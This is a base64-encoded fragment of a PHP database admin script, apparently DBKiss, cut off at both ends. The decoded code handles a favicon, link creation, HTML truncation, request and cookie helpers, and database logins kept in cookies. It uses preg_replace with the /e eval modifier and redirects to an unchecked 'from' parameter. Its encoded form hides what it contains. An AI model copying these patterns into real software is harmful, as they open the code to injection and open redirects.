QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBSUNBZ0lDT1RVVENRUUVDUk1RRVFBQ0FnSUNWVXBKRWdFZkJ4UkNKMUZPQWdFQkdnUTRBUUVHQVFFQkRoWldBd0lDQWdFRUFTSUJCZ0VIRkE0V1RRTUNBZ0VDQkFFMkFROEJEdzg5UURRREFnRUNBZ1FCVndFSkFRUUpQajlUS1FJYUFRRUVMZ0VTQmdFSEhVVTZOMFFDQWdJQ0JBNGlCZ1lmQngxUERVZ0RBQUFBQUFNY0pRc0xHeFVlSmcwWEF3QUFBQUFESENVTEN4c1ZIaVlORndNQUFBQUFBend0VER0VUF3TkxLaXdEQUFBQUFBTW9LMFlNQ2dnRlJ4Z3pBd0FBQUFBRFVDUWdEQW9JQlFVRkdRTUFBQUFBUXpJa0lBd0tDQVVGQlJrREFBQUFBQ05CTHpBTUNnZ0ZNUmhTSXdBQUFBQUFFUkFoQXdNREF5RVFFUUFBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFQQUFBQUR3QUFBQThBQUFBUEFBQUFEd0FBQUE4QUFBQVBBQUFBRDRBUUFBS0FBQUFCQUFBQUFnQUFBQUFRQWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNeG1BTzNNWmdEdHpHWUE3Y3htQU8zTVpnRHR5bVlCNzhSbUJ2ZkNaZ2o2dm1ZSy9yNW1DLysrWmd2L3ZtWUsvc0ptQ1BvQVpwbVBBR2FaSUFBQUFBRE1aZ0R0ekdZQTdjeG1BTzNNWmdEdHhtWUY5YjluRFAvQmJBLy8zN2FJLy8vLy8vL0NieEwveFhBUy84ZHhFdi9GYnhIL01MYlovd1YwcHY4QVpwbHd6R1lBN2YvLy8vLy8vLy8vNTdhRjlyNW1DLy9qdUluLy8vLy8vLy8vLy8rL2JoTC8vLy8vLy8vLy8vLy8vLy8veG5BUy8wcmwvLzhjei9uL0FHYVovOHhtQU8zTVpnRHR6R1lBN2YvLy8vKytaZ3YvLy8vLy84TnZFdi8vLy8vL3YyNFMvLy8vLy8vRmNCTC94M0VTLzhad0V2OUs1Zi8vSGRiLy93Qm1tZi9NWmdEdHpHWUE3Zi8vLy8vTVpnRHR2bVlMLy8vLy8vL0JjQkwvLy8vLy83NXhFdi8vLy8vL3ZuRVMvNzV4RXYvQWNSTC9LZkQvL3hqYS8vOEFacG4vekdZQTdmLy8vLy9NWmdEdHpHWUE3YjVtQy8vLy8vLy92bXNPLy8vLy8vKytad3YvLy8vLy83NW1DLysrWnd2L3Zta04vd0NweHY4QzZmTC9BSG1tLzh4bUFPM250b1gyLy8vLy8vLy8vLysrWmd2LzM3T0cvLy8vLy8vZnRvai92MjRTLy8vLy8vL0ZjQkwveDNBUy84VnVFUDh3cHNuL0JYQ2gvd0NEclAvTVpnRHR6R1lBN2N4bUFPM01aZ0R0dm1ZTC84WndFdi9EYnhML3YyNFMvNzl1RXYvQ2J4TC94WEFTLzhkd0V2L0dieEgvU3N2bC94eXAwdjhBWnBuL0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFCbW1mK0UrUC8vVE9YLy94WFQvLzhWMC8vL08rRC8vMlR1Ly8rTSt2Ly9lT24wLzByTDVmOGRyTmIvQUdhWi93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQVpwbi9oUGovLzB6bC8vOFYwLy8vRmRQLy96dmcvLzlrN3YvL2pQci8vM2pwOVA5S3krWC9IYXpXL3dCbW1mOEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHYVovM1h0K2Y4ZXN0di9CSkRDL3dCN3J2OEFiNkwvQUdhWi93Qm1tZjhPZGFUL0dvdTEveGlqenY4QVpwbi9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQm1tZjhwck5iL2w5ZnEvNzd3OS8vQi8vLy9xZi8vLzVyLy8vK1ovLy8vaHV6eS8yREcyZjhVZmFuL0FHYVovd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFacG4vNy9uOC8vTC8vLy9hLy8vL3dmLy8vNm4vLy8rYS8vLy9tZi8vLzVuLy8vK1ovLy8vai9YNS93Qm1tZjhBQUFBQUFBQUFBQUFBQUFBQUFBQUFBR2FaNysvMStmL3kvLy8vMnYvLy84SC8vLytwLy8vL212Ly8vNW4vLy8rWi8vLy9tZi8vLzQvMStmOEFacG4vQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJtbVdBbmdxei9sOGJaLzcveitmL0IvLy8vcWYvLy81ci8vLytaLy8vL2pmVDQvMkRHMmY4V2Zxci9BR2FaWUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHYVpJQUJtbVk4QVpwbS9BR2FaL3dCbW1mOEFacG4vQUdhWi93Qm1tYjhBWnBtUEFHYVpJQUFBQUFBQUFRSUNBQUExRXdBQUJBa0FBQkVBQUFBQ0FnQUFTUklBQUFjVUFBQlJUdkFBQVJyd0FBRUI4QUFCQWZBQVZnUHdBQUlCOEFBaUFmQUFCeFQ0QVUwRCc7DQoJaGVhZGVyKCdDb250ZW50LXR5cGU6IGltYWdlL3ZuZC5taWNyb3NvZnQuaWNvbicpOw0KCWVjaG8gYmFzZTY0X2RlY29kZSgkZmF2aWNvbik7DQoJZXhpdCgpOw0KfQ0KDQppZiAoIWZ1bmN0aW9uX2V4aXN0cygnYXJyYXlfd2Fsa19yZWN1cnNpdmUnKSkNCnsNCglmdW5jdGlvbiBhcnJheV93YWxrX3JlY3Vyc2l2ZSgmJGFycmF5LCAkZnVuYykNCgl7DQoJCWZvcmVhY2ggKCRhcnJheSBhcyAkayA9PiAkdikgew0KCQkJaWYgKGlzX2FycmF5KCR2KSkgew0KCQkJCWFycmF5X3dhbGtfcmVjdXJzaXZlKCRhcnJheVska10sICRmdW5jKTsNCgkJCX0gZWxzZSB7DQoJCQkJJGZ1bmMoJGFycmF5WyRrXSwgJGspOw0KCQkJfQ0KCQl9DQoJfQ0KfQ0KZnVuY3Rpb24gY3JlYXRlX2xpbmtzKCR0ZXh0KQ0Kew0KCS8vIFByb3RvY29sczogaHR0cCwgaHR0cHMsIGZ0cCwgaXJjLCBzdm4NCgkvLyBQYXJzZSBlbWFpbHMgYWxzbz8NCg0KCSR0ZXh0ID0gcHJlZ19yZXBsYWNlKCcjKFthLXpdKzovL1thLXpBLVowLTlcLlwsXDtcOlxbXF1ce1x9XC1cX1wrXD1cIVxAXCNcJVwmXChcKVwvXD9cYFx+XSspI2UnLCAnY3JlYXRlX2xpbmtzX2V2YWwoIlxcMSIpJywgJHRleHQpOw0KDQoJLy8gRXhjYXB0aW9uczoNCg0KCS8vIDEpIGN1dCBsYXN0IGNoYXIgaWYgbGluayBlbmRzIHdpdGggIjoiIG9yICI7IiBvciAiLiIgb3IgIiwiIC0gY2F1c2UgaW4gOTklIGNhc2VzIHRoYXQgY2hhciBkb2VzbnQgYmVsb25nIHRvIHRoZSBsaW5rDQoJLy8gKGNoZWNrIGlmIHByZXZpb3VzIGNoYXIgd2FzICI9IiB0aGVuIGxldCBpdCBzdGF5IGNhdXNlIHRoYXQgY291bGQgYmUgc29tZSB2YXJpYWJsZSBpbiBhIHF1ZXJ5LCBzb21lIGtpbmQgb2Ygc2VwYXJhdG9yKQ0KCS8vIChzaG91bGQgd2UgYWRkIGFsc28gIi0iID8gQnV0IGl0IGlzIGEgdmFsaWQgY2hhciBpbiBsaW5rcyBhbmQgdmVyeSBjb21tb24sIG1hbnkgbGlua3MgbWlnaHQgZW5kIHdpdGggaXQgd2hlbiBjcmVhdGluZyBmcm9tIHNvbWUgdGl0bGUgb2YgYW4gYXJ0aWNsZT8pDQoNCgkvLyAyKSBicmFja2V0cywgdGhlIGxpbmsgY291bGQgYmUgaW5zaWRlIG9uZSBvZiAzIHR5cGVzIG9mIGJyYWNrZXRzOg0KCS8vIFtodHRwOi8vLi4uXSAsIHtodHRwOi8vLi4ufQ0KCS8vIGFuZCBtb3N0IGNvbW1vbjogKGh0dHA6Ly9zb21lLmNvbS8pIE9SIGh0dHA6Ly9zb21lLmNvbShzb21lIGRlc2NyaXB0aW9uIG9mIHRoZSBsaW5rKQ0KCS8vIEluIHRoZXNlIGNhc2VzIHJlZ3VsYXIgZXhwcmVzc2lvbiB3aWxsIGNhdGNoOiAiaHR0cDovL3NvbWUuY29tLykiIEFORCAiaHR0cDovL3NvbWUuY29tKHNvbWUiDQoJLy8gU28gd2hlbiB3ZSBjYXRjaCBzb21lIGtpbmQgb2YgYnJhY2tldCBpbiB0aGUgbGluayB3ZSB3aWxsIGN1dCBpdCB1bmxlc3MgdGhlcmUgaXMgYWxzbyBhIGNsb3NpbmcgYnJhY2tldCBpbiB0aGUgbGluazoNCgkvLyBXZSB3aWxsIG5vdCBjdXQgYnJhY2tldHMgaW4gdGhpcyBsaW5rOiBodHRwOi8vZW4ud2lraXBlZGlhLm9yZy93aWtpL0NvbW1vbl8oZW50ZXJ0YWluZXIpIC0gd2lraXBlZGlhIG9mdGVuIHVzZXMgYnJhY2tldHMuDQoNCglyZXR1cm4gJHRleHQ7DQp9DQpmdW5jdGlvbiBjcmVhdGVfbGlua3NfZXZhbCgkbGluaykNCnsNCgkkb3JpZ19saW5rID0gJGxpbms7DQoJJGN1dHRlZCA9ICIiOw0KDQoJaWYgKGluX2FycmF5KCRsaW5rW3N0cmxlbigkbGluayktMV0sIGFycmF5KCI6IiwgIjsiLCAiLiIsICIsIikpKSB7DQoJCSRsaW5rID0gc3Vic3RyKCRsaW5rLCAwLCAtMSk7DQoJCSRjdXR0ZWQgPSAkb3JpZ19saW5rW3N0cmxlbigkb3JpZ19saW5rKS0xXTsNCgl9DQoNCglpZiAoKCRwb3MgPSBzdHJwb3MoJGxpbmssICIoIikpICE9PSBmYWxzZSkgew0KCQlpZiAoc3RycG9zKCRsaW5rLCAiKSIpID09PSBmYWxzZSkgew0KCQkJJGxpbmsgPSBzdWJzdHIoJGxpbmssIDAsICRwb3MpOw0KCQkJJGN1dHRlZCA9IHN1YnN0cigkb3JpZ19saW5rLCAkcG9zKTsNCgkJfQ0KCX0gZWxzZSBpZiAoKCRwb3MgPSBzdHJwb3MoJGxpbmssICIpIikpICE9PSBmYWxzZSkgew0KCQlpZiAoc3RycG9zKCRsaW5rLCAiKCIpID09PSBmYWxzZSkgew0KCQkJJGxpbmsgPSBzdWJzdHIoJGxpbmssIDAsICRwb3MpOw0KCQkJJGN1dHRlZCA9IHN1YnN0cigkb3JpZ19saW5rLCAkcG9zKTsNCgkJfQ0KCX0gZWxzZSBpZiAoKCRwb3MgPSBzdHJwb3MoJGxpbmssICJbIikpICE9PSBmYWxzZSkgew0KCQlpZiAoc3RycG9zKCRsaW5rLCAiXSIpID09PSBmYWxzZSkgew0KCQkJJGxpbmsgPSBzdWJzdHIoJGxpbmssIDAsICRwb3MpOw0KCQkJJGN1dHRlZCA9IHN1YnN0cigkb3JpZ19saW5rLCAkcG9zKTsNCgkJfQ0KCX0gZWxzZSBpZiAoKCRwb3MgPSBzdHJwb3MoJGxpbmssICJdIikpICE9PSBmYWxzZSkgew0KCQlpZiAoc3RycG9zKCRsaW5rLCAiWyIpID09PSBmYWxzZSkgew0KCQkJJGxpbmsgPSBzdWJzdHIoJGxpbmssIDAsICRwb3MpOw0KCQkJJGN1dHRlZCA9IHN1YnN0cigkb3JpZ19saW5rLCAkcG9zKTsNCgkJfQ0KCX0gZWxzZSBpZiAoKCRwb3MgPSBzdHJwb3MoJGxpbmssICJ7IikpICE9PSBmYWxzZSkgew0KCQlpZiAoc3RycG9zKCRsaW5rLCAifSIpID09PSBmYWxzZSkgew0KCQkJJGxpbmsgPSBzdWJzdHIoJGxpbmssIDAsICRwb3MpOw0KCQkJJGN1dHRlZCA9IHN1YnN0cigkb3JpZ19saW5rLCAkcG9zKTsNCgkJfQ0KCX0gZWxzZSBpZiAoKCRwb3MgPSBzdHJwb3MoJGxpbmssICJ9IikpICE9PSBmYWxzZSkgew0KCQlpZiAoc3RycG9zKCRsaW5rLCAieyIpID09PSBmYWxzZSkgew0KCQkJJGxpbmsgPSBzdWJzdHIoJGxpbmssIDAsICRwb3MpOw0KCQkJJGN1dHRlZCA9IHN1YnN0cigkb3JpZ19saW5rLCAkcG9zKTsNCgkJfQ0KCX0NCglyZXR1cm4gIjxhIHRpdGxlPVwiJGxpbmtcIiBzdHlsZT1cImNvbG9yOiAjMDAwOyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGJvcmRlci1ib3R0b206ICMwMDAgMXB4IGRvdHRlZDtcIiBocmVmPVwiamF2YXNjcmlwdDo7XCIgb25jbGljaz1cImxpbmtfbm9yZWZlcmVyKCckbGluaycpXCI+JGxpbms8L2E+JGN1dHRlZCI7DQp9DQpmdW5jdGlvbiB0cnVuY2F0ZV9odG1sKCRzdHJpbmcsICRsZW5ndGgsICRicmVha193b3JkcyA9IGZhbHNlLCAkZW5kX3N0ciA9ICcuLicpDQp7DQoJLy8gRG9lcyBub3QgYnJlYWsgaHRtbCB0YWdzIHdoaWx0ZSB0cnVuY2F0aW5nLCBkb2VzIG5vdCB0YWtlIGludG8gYWNjb3VudCBjaGFycyBpbnNpZGUgdGFnczogPGI+YTwvYj4gPSAxIGNoYXIgbGVuZ3RoLg0KCS8vIEJyZWFrIHdvcmRzIGlzIGFsd2F5cyBUUlVFIC0gbm8gYnJlYWtpbmcgaXMgbm90IGltcGxlbWVudGVkLg0KDQoJLy8gTGltaXRzOiBubyBoYW5kbGluZyBvZiA8c2NyaXB0PiB0YWdzLg0KDQoJJGluc2lkZV90YWcgPSBmYWxzZTsNCgkkaW5zaWRlX2FtcCA9IDA7DQoJJGZpbmlzaGVkID0gZmFsc2U7IC8vIGZpbmlzaGVkIGJ1dCB0aGUgbG9vcCBpcyBzdGlsbCBydW5uaW5nIGNhdXNlIGluc2lkZSB0YWcgb3IgYW1wLg0KCSRvcGVuZWQgPSAwOw0KDQoJJHN0cmluZ19sZW4gPSBzdHJsZW4oJHN0cmluZyk7DQoNCgkkY291bnQgPSAwOw0KCSRyZXQgPSAiIjsNCg0KCWZvciAoJGkgPSAwOyAkaSA8ICRzdHJpbmdfbGVuOyAkaSsrKQ0KCXsNCgkJJGNoYXIgPSAkc3RyaW5nWyRpXTsNCgkJJG5leHRjaGFyID0gaXNzZXQoJHN0cmluZ1skaSsxXSkgPyAkc3RyaW5nWyRpKzFdIDogbnVsbDsNCg0KCQlpZiAoJzwnID09ICRjaGFyICYmICgnLycgPT0gJG5leHRjaGFyIHx8IGN0eXBlX2FscGhhKCRuZXh0Y2hhcikpKSB7DQoJCQlpZiAoJy8nID09ICRuZXh0Y2hhcikgew0KCQkJCSRvcGVuZWQtLTsNCgkJCX0gZWxzZSB7DQoJCQkJJG9wZW5lZCsrOw0KCQkJfQ0KCQkJJGluc2lkZV90YWcgPSB0cnVlOw0KCQl9DQoJCWlmICgnPicgPT0gJGNoYXIpIHsNCgkJCSRpbnNpZGVfdGFnID0gZmFsc2U7DQoJCQkkcmV0IC49ICRjaGFyOw0KCQkJY29udGludWU7DQoJCX0NCgkJaWYgKCRpbnNpZGVfdGFnKSB7DQoJCQkkcmV0IC49ICRjaGFyOw0KCQkJY29udGludWU7DQoJCX0NCg0KCQlpZiAoISRmaW5pc2hlZCkNCgkJew0KCQkJaWYgKCcmJyA9PSAkY2hhcikgew0KCQkJCSRpbnNpZGVfYW1wID0gMTsNCgkJCQkkcmV0IC49ICRjaGFyOw0KCQkJCWNvbnRpbnVlOw0KCQkJfQ0KCQkJaWYgKCc7JyA9PSAkY2hhciAmJiAkaW5zaWRlX2FtcCkgew0KCQkJCSRpbnNpZGVfYW1wID0gMDsNCgkJCQkkY291bnQrKzsNCgkJCQkkcmV0IC49ICRjaGFyOw0KCQkJCWNvbnRpbnVlOw0KCQkJfQ0KCQkJaWYgKCRpbnNpZGVfYW1wKSB7DQoJCQkJJGluc2lkZV9hbXArKzsNCgkJCQkkcmV0IC49ICRjaGFyOw0KCQkJCWlmICgnIycgPT0gJGNoYXIgfHwgY3R5cGVfYWxudW0oJGNoYXIpKSB7DQoJCQkJCWlmICgkaW5zaWRlX2FtcCA+IDcpIHsNCgkJCQkJCSRjb3VudCArPSAkaW5zaWRlX2FtcDsNCgkJCQkJCSRpbnNpZGVfYW1wID0gMDsNCgkJCQkJfQ0KCQkJCX0gZWxzZSB7DQoJCQkJCSRjb3VudCArPSAkaW5zaWRlX2FtcDsNCgkJCQkJJGluc2lkZV9hbXAgPSAwOw0KCQkJCX0NCgkJCQljb250aW51ZTsNCgkJCX0NCgkJfQ0KDQoJCSRjb3VudCsrOw0KDQoJCWlmICghJGZpbmlzaGVkKSB7DQoJCQkkcmV0IC49ICRjaGFyOw0KCQl9DQoNCgkJaWYgKCRjb3VudCA+PSAkbGVuZ3RoKSB7DQoJCQlpZiAoISRpbnNpZGVfdGFnICYmICEkaW5zaWRlX2FtcCkgew0KCQkJCWlmICghJGZpbmlzaGVkKSB7DQoJCQkJCSRyZXQgLj0gJGVuZF9zdHI7DQoJCQkJCSRmaW5pc2hlZCA9IHRydWU7DQoJCQkJCWlmICgwID09ICRvcGVuZWQpIHsNCgkJCQkJCWJyZWFrOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWlmICgwID09ICRvcGVuZWQpIHsNCgkJCQkJYnJlYWs7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KCXJldHVybiAkcmV0Ow0KfQ0KZnVuY3Rpb24gdGFibGVfZmlsdGVyKCR0YWJsZXMsICRmaWx0ZXIpDQp7DQoJJGZpbHRlciA9IHRyaW0oJGZpbHRlcik7DQoJaWYgKCRmaWx0ZXIpIHsNCgkJZm9yZWFjaCAoJHRhYmxlcyBhcyAkayA9PiAkdGFibGUpIHsNCgkJCWlmICghc3RyX2hhc19hbnkoJHRhYmxlLCAkZmlsdGVyLCAkaWdub3JlX2Nhc2UgPSB0cnVlKSkgew0KCQkJCXVuc2V0KCR0YWJsZXNbJGtdKTsNCgkJCX0NCgkJfQ0KCX0NCglyZXR1cm4gJHRhYmxlczsNCn0NCmZ1bmN0aW9uIGdldCgka2V5LCAkdHlwZT0nc3RyaW5nJykNCnsNCglpZiAoaXNfc3RyaW5nKCRrZXkpKSB7DQoJCSRfR0VUWyRrZXldID0gaXNzZXQoJF9HRVRbJGtleV0pID8gJF9HRVRbJGtleV0gOiBudWxsOw0KCQlpZiAoJ2Zsb2F0JyA9PSAkdHlwZSkgJF9HRVRbJGtleV0gPSBzdHJfcmVwbGFjZSgnLCcsJy4nLCRfR0VUWyRrZXldKTsNCgkJc2V0dHlwZSgkX0dFVFska2V5XSwgJHR5cGUpOw0KCQlpZiAoJ3N0cmluZycgPT0gJHR5cGUpICRfR0VUWyRrZXldID0gdHJpbSgkX0dFVFska2V5XSk7DQoJCXJldHVybiAkX0dFVFska2V5XTsNCgl9DQoJJHZhcnMgPSAka2V5Ow0KCWZvcmVhY2ggKCR2YXJzIGFzICRrZXkgPT4gJHR5cGUpIHsNCgkJJF9HRVRbJGtleV0gPSBpc3NldCgkX0dFVFska2V5XSkgPyAkX0dFVFska2V5XSA6IG51bGw7DQoJCWlmICgnZmxvYXQnID09ICR0eXBlKSAkX0dFVFska2V5XSA9IHN0cl9yZXBsYWNlKCcsJywnLicsJF9HRVRbJGtleV0pOw0KCQlzZXR0eXBlKCRfR0VUWyRrZXldLCAkdHlwZSk7DQoJCWlmICgnc3RyaW5nJyA9PSAkdHlwZSkgJF9HRVRbJGtleV0gPSB0cmltKCRfR0VUWyRrZXldKTsNCgkJJHZhcnNbJGtleV0gPSAkX0dFVFska2V5XTsNCgl9DQoJcmV0dXJuICR2YXJzOw0KfQ0KZnVuY3Rpb24gcG9zdCgka2V5LCAkdHlwZT0nc3RyaW5nJykNCnsNCglpZiAoaXNfc3RyaW5nKCRrZXkpKSB7DQoJCSRfUE9TVFska2V5XSA9IGlzc2V0KCRfUE9TVFska2V5XSkgPyAkX1BPU1RbJGtleV0gOiBudWxsOw0KCQlpZiAoJ2Zsb2F0JyA9PSAkdHlwZSkgJF9QT1NUWyRrZXldID0gc3RyX3JlcGxhY2UoJywnLCcuJywkX1BPU1RbJGtleV0pOw0KCQlzZXR0eXBlKCRfUE9TVFska2V5XSwgJHR5cGUpOw0KCQlpZiAoJ3N0cmluZycgPT0gJHR5cGUpICRfUE9TVFska2V5XSA9IHRyaW0oJF9QT1NUWyRrZXldKTsNCgkJcmV0dXJuICRfUE9TVFska2V5XTsNCgl9DQoJJHZhcnMgPSAka2V5Ow0KCWZvcmVhY2ggKCR2YXJzIGFzICRrZXkgPT4gJHR5cGUpIHsNCgkJJF9QT1NUWyRrZXldID0gaXNzZXQoJF9QT1NUWyRrZXldKSA/ICRfUE9TVFska2V5XSA6IG51bGw7DQoJCWlmICgnZmxvYXQnID09ICR0eXBlKSAkX1BPU1RbJGtleV0gPSBzdHJfcmVwbGFjZSgnLCcsJy4nLCRfUE9TVFska2V5XSk7DQoJCXNldHR5cGUoJF9QT1NUWyRrZXldLCAkdHlwZSk7DQoJCWlmICgnc3RyaW5nJyA9PSAkdHlwZSkgJF9QT1NUWyRrZXldID0gdHJpbSgkX1BPU1RbJGtleV0pOw0KCQkkdmFyc1ska2V5XSA9ICRfUE9TVFska2V5XTsNCgl9DQoJcmV0dXJuICR2YXJzOw0KfQ0KJF9FTlZbJ0lTX0dFVCddID0gKCdHRVQnID09ICRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddKTsNCiRfRU5WWydJU19QT1NUJ10gPSAoJ1BPU1QnID09ICRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddKTsNCmZ1bmN0aW9uIHJlcV9ncGNfaGFzKCRzdHIpDQp7DQoJLyogZmluZHMgaWYgdmFsdWUgZXhpc3RzIGluIEdQQyBkYXRhLCB1c2VkIGluIGZpbHRlcl8oKSBmdW5jdGlvbnMsIHRvIGNoZWNrIHdoZXRoZXIgdXNlIGh0bWxfdGFnc191bmRvKCkgb24gdGhlIGRhdGEgKi8NCglmb3JlYWNoICgkX0dFVCBhcyAkayA9PiAkdikgew0KCQlpZiAoJHN0ciA9PSAkdikgew0KCQkJcmV0dXJuIHRydWU7DQoJCX0NCgl9DQoJZm9yZWFjaCAoJF9QT1NUIGFzICRrID0+ICR2KSB7DQoJCWlmICgkc3RyID09ICR2KSB7DQoJCQlyZXR1cm4gdHJ1ZTsNCgkJfQ0KCX0NCglmb3JlYWNoICgkX0NPT0tJRSBhcyAkayA9PiAkdikgew0KCSAgIGlmICgkc3RyID09ICR2KSB7DQoJCSAgIHJldHVybiB0cnVlOw0KCSAgIH0NCgl9DQoJcmV0dXJuIGZhbHNlOw0KfQ0KDQppZiAoaW5pX2dldCgnbWFnaWNfcXVvdGVzX2dwYycpKSB7DQoJaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAwKTsNCglhcnJheV93YWxrX3JlY3Vyc2l2ZSgkX0dFVCwgJ2RiX21hZ2ljX3F1b3Rlc19ncGMnKTsNCglhcnJheV93YWxrX3JlY3Vyc2l2ZSgkX1BPU1QsICdkYl9tYWdpY19xdW90ZXNfZ3BjJyk7DQoJYXJyYXlfd2Fsa19yZWN1cnNpdmUoJF9DT09LSUUsICdkYl9tYWdpY19xdW90ZXNfZ3BjJyk7DQp9DQpmdW5jdGlvbiBkYl9tYWdpY19xdW90ZXNfZ3BjKCYkdmFsKQ0Kew0KCSR2YWwgPSBzdHJpcHNsYXNoZXMoJHZhbCk7DQp9DQoNCiRzcWxfZm9udCA9ICdmb250LXNpemU6IDEycHg7IGZvbnQtZmFtaWx5OiBjb3VyaWVyIG5ldzsnOw0KJHNxbF9hcmVhID0gJHNxbF9mb250Licgd2lkdGg6IDcwOHB4OyBoZWlnaHQ6IDE4MnB4OyBib3JkZXI6ICNjY2MgMXB4IHNvbGlkOyBiYWNrZ3JvdW5kOiAjZjlmOWY5OyBwYWRkaW5nOiAzcHg7JzsNCg0KaWYgKCFpc3NldCgkZGJfbmFtZV9zdHlsZSkpIHsNCgkkZGJfbmFtZV9zdHlsZSA9ICcnOw0KfQ0KaWYgKCFpc3NldCgkZGJfbmFtZV9oMSkpIHsNCgkkZGJfbmFtZV9oMSA9ICcnOw0KfQ0KDQpnbG9iYWwgJGRiX2xpbmssICRkYl9uYW1lOw0KDQppZiAoIWRlZmluZWQoJ0NPT0tJRV9QUkVGSVgnKSkgew0KCWRlZmluZSgnQ09PS0lFX1BSRUZJWCcsICdkYmtpc3NfJyk7DQp9DQoNCmRlZmluZSgnQ09PS0lFX1dFRUsnLCA2MDQ4MDApOyAvLyAzNjAwKjI0KjcNCmRlZmluZSgnQ09PS0lFX1NFU1MnLCAwKTsNCmZ1bmN0aW9uIGNvb2tpZV9nZXQoJGtleSkNCnsNCgkka2V5ID0gQ09PS0lFX1BSRUZJWC4ka2V5Ow0KCWlmIChpc3NldCgkX0NPT0tJRVska2V5XSkpIHJldHVybiAkX0NPT0tJRVska2V5XTsNCglyZXR1cm4gbnVsbDsNCn0NCmZ1bmN0aW9uIGNvb2tpZV9zZXQoJGtleSwgJHZhbCwgJHRpbWUgPSBDT09LSUVfU0VTUykNCnsNCgkka2V5ID0gQ09PS0lFX1BSRUZJWC4ka2V5Ow0KCSRleHBpcmUgPSAkdGltZSA/IHRpbWUoKSArICR0aW1lIDogMDsNCglpZiAodmVyc2lvbl9jb21wYXJlKFBIUF9WRVJTSU9OLCAnNS4yLjAnLCAnPj0nKSkgew0KCQlzZXRjb29raWUoJGtleSwgJHZhbCwgJGV4cGlyZSwgJycsICcnLCBmYWxzZSwgdHJ1ZSk7DQoJfSBlbHNlIHsNCgkJc2V0Y29va2llKCRrZXksICR2YWwsICRleHBpcmUpOw0KCX0NCgkkX0NPT0tJRVska2V5XSA9ICR2YWw7DQp9DQpmdW5jdGlvbiBjb29raWVfZGVsKCRrZXkpDQp7DQoJJGtleSA9IENPT0tJRV9QUkVGSVguJGtleTsNCglpZiAodmVyc2lvbl9jb21wYXJlKFBIUF9WRVJTSU9OLCAnNS4yLjAnLCAnPj0nKSkgew0KCQlzZXRjb29raWUoJGtleSwgJycsIHRpbWUoKS0zNjAwKjI0LCAnJywgJycsIGZhbHNlLCB0cnVlKTsNCgl9IGVsc2Ugew0KCQlzZXRjb29raWUoJGtleSwgJycsIHRpbWUoKS0zNjAwKjI0KTsNCgl9DQoJdW5zZXQoJF9DT09LSUVbJGtleV0pOw0KfQ0KDQpjb25uX21vZGlmeSgnZGJfbmFtZScpOw0KY29ubl9tb2RpZnkoJ2RiX2NoYXJzZXQnKTsNCmNvbm5fbW9kaWZ5KCdwYWdlX2NoYXJzZXQnKTsNCg0KZnVuY3Rpb24gY29ubl9tb2RpZnkoJGtleSkNCnsNCglpZiAoYXJyYXlfa2V5X2V4aXN0cygka2V5LCAkX0dFVCkpIHsNCgkJY29va2llX3NldCgka2V5LCAkX0dFVFska2V5XSwgY29va2llX2dldCgncmVtZW1iZXInKSA/IENPT0tJRV9XRUVLIDogQ09PS0lFX1NFU1MpOw0KCQlpZiAoaXNzZXQoJF9HRVRbJ2Zyb20nXSkgJiYgJF9HRVRbJ2Zyb20nXSkgew0KCQkJaGVhZGVyKCdMb2NhdGlvbjogJy4kX0dFVFsnZnJvbSddKTsNCgkJfSBlbHNlIHsNCgkJCWhlYWRlcignTG9jYXRpb246ICcuJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOw0KCQl9DQoJCWV4aXQ7DQoJfQ0KfQ0KDQokZGJfZHJpdmVyID0gY29va2llX2dldCgnZGJfZHJpdmVyJyk7DQokZGJfc2VydmVyID0gY29va2llX2dldCgnZGJfc2VydmVyJyk7DQokZGJfbmFtZSA9IGNvb2tpZV9nZXQoJ2RiX25hbWUnKTsNCiRkYl91c2VyID0gY29va2llX2dldCgnZGJfdXNlcicpOw0KJGRiX3Bhc3MgPSBiYXNlNjRfZGVjb2RlKGNvb2tpZV9nZXQoJ2RiX3Bhc3MnKSk7DQokZGJfY2hhcnNldCA9IGNvb2tpZV9nZXQoJ2RiX2NoYXJzZXQnKTsNCiRwYWdlX2NoYXJzZXQgPSBjb29raWVfZ2V0KCdwYWdlX2NoYXJzZXQnKTsNCg0KJGNoYXJzZXQxID0gYXJyYXkoJ2xhdGluMScsICdsYXRpbjInLCAndXRmOCcsICdjcDEyNTAnKTsNCiRjaGFyc2V0MiA9IGFycmF5KCdpc28tODg1OS0xJywgJ2lzby04ODU5LTInLCAndXRmLTgnLCAnd2luZG93cy0xMjUwJyk7DQokY2hhcnNldDFbXSA9ICRkYl9jaGFyc2V0Ow0KJGNoYXJzZXQyW10gPSAkcGFnZV9jaGFyc2V0Ow0KJGNoYXJzZXQxID0gY2hhcnNldF9hc3NvYygkY2